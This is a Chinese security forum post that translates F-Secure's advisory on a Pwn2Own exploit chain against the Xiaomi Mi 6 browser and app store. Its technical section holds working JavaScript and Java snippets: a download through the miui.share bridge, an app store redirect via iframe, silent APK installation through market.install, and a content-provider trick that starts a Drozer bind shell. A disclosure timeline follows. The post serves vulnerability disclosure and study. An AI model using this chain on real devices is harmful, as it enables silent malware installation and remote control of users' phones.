用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    231

    主题

    233

    帖子

    1962

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-11-27 18:02:07 01116

    22.jpg

    介绍

    在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷。具体步骤如下:

    • 用户使用小米浏览器加载攻击者发过来的网站(网页、短信或电子邮件中的链接等)

    • 网页自动使用javascript bridge下载HTML文件

    • 使用browsable intent加载应用商店

    • 应用商店会通过提供的URL加载一个WebView,再加载另一个恶意Web页面

    • 该Web页面使用另一个javascript bridge函数来安装已下载的apk

    最后这个应用会依据intent proxy自动启动。

    技术细节

    第一步要求受害者访问攻击者的网站,一般通过恶意点击链接跳转到攻击者所控制的页面来完成。这个恶意Web页面会执行两个操作。

    首先,它会自动下载一个HTML文件。小米浏览器中不允许使用带有download属性的锚元素进行自动下载。但是,可以使用包含在所有Web页面中的javascript bridge,称为miui

    这个bridge包含一个名为share的函数,可将使用经过base64编码的数据存储到磁盘上,文件名基于参数提供给share函数的属性。攻击者可以使用此方法将apk文件保存到磁盘中。

    @javascriptInterface public void share(String arg8, String arg9, String arg10, String arg11, String arg12) {
     OutputStream v1_1;
     FileOutputStream v1;
     OutputStream v2;
     File v6;
     byte[] v5;
     …
     int v0 = "base64,".length() + arg11.indexOf("ba se64,");
     try {
     v5 = base64.decode(arg11.substring(v0), 0);
     String v0_2 = arg8 != null || arg9 != null ? "share_" + arg8 + arg9 + arg10.hashCode() + ".jpg" : "jsShare.jpg";
     v6 = new File(com.android.browser.j.a.a(this.a), v0_2);
     v2 = null;
    

    这个方法可以通过以下javascript来使用,将apk以base64编码字符串进行安装:

    miui.share("foo","foo","foo","base64," + apkFile);
    

    在这个样例中,apk的数据会被存储在/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg

    文件下载成功后,网页将重定向到应用商店(com.xiaomi.market)。这可以通过创建一个iframe来实现,将src设置为一个可浏览的URL:

    var iframe = document.createElement("iframe");
     var marketRedirUrl = "http://testxiaomi.com/XiaomiPoC/market.html";
     iframe.src = "mimarket://browse?url=" + encodeURIComponent(marketRedirUrl);
     document.body.appendChild(iframe);
    

    这也会加载应用商店的JoinActivity。通过“url”参数提供WebView的url。而“url”参数被设置为攻击者所控制的Web页面,攻击者可以将任意HTML页面加载到WebView中。

    通过应用商店触发安装流程

    应用商店中的WebView包含一个名为“Market”的javascript bridge。其中有一个函数会使用本地文件系统上的一个文件来悄悄地安装drozer的apk。以下javascript会在前一步进行已下载文件的安装:

    function installAPK(){
     market.install('{"appInfo":{"id":"test", "packageName":"com.xiaomi.test", "appId":"com.xiaomi.test"}, "callBack":"test", "needArrange":true, "ref":"test", "refPosition":1234, "apkPath":"/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg"}');
    }
    

    它将调用“install”方法,解析所提供的JSON数据,并启动“AppArrangeService”服务,而该服务将继续静默安装apk。

    app的自启动

    在以上过程结束,安装完成后,app将对javascript进行回调,其中调用的javascript函数由安装函数的“callBack”参数指定。这可用于设置已安装应用的自启动。

    其中“test”函数定义如下:

    function test(){
     document.location='intent://dzprovider/1#Intent;scheme=content;end';
    }
    

    以下格式的Content schemes将由浏览器所处理:

    <activity android:name="com.android.browser.BrowserActivity"> 
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.BROWSABLE" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="http" />
        <data android:scheme="https" />
        <data android:scheme="file" />
        <data android:scheme="content" />
        <data android:scheme="inline" />
        <data android:mimeType="text/html" />
    …
          </intent-filter>
    

    “dzprovider”是Drozer应用所包含的内容提供者:

    <provider
     android:name=".views.MyContentProvider"
     android:authorities="dzprovider"
     android:enabled="true"
     android:exported="true">
     </provider>
    

    当尝试加载这个URL时,浏览器应用程序必须确定mimetype是什么,这主要通过调用相关内容提供者的getType(Uri uri)方法实现的。通过在Drozer应用中重写这个方法,可以进行代码执行,启动Drozer绑定shell:

    @Override
     public String getType(Uri uri) {
     Intent i = new Intent();
     i.addCategory("com.mwr.dz.START_EMBEDDED");
     i.setComponent(new ComponentName("com.mwr.dz","com.mwr.dz.services.ServerService"));
     Context c = getContext();
     c.startService(i);
     return “foo”;
     }
    

    时间线

    2018-11-14:向ZDI报告了该漏洞

    2019-01-27:ZDI与厂商联系

    2019-02-06:ZDI再次联系厂商

    2019-02-06:厂商答复计划在二月底之前进行修复

    2019-02-14:ZDI通知厂商,如果2月底前没有进行修复,整体流程将视为已结束

    2019-03-04:厂商进行答复但未提供具体时间

    2019-06-03:ZDI通知厂商打算将报告结束

    2019-11-22:F-Secure发布详情

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3223.html
    来源:https://labs.f-secure.com/advisories/xiaomi/
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册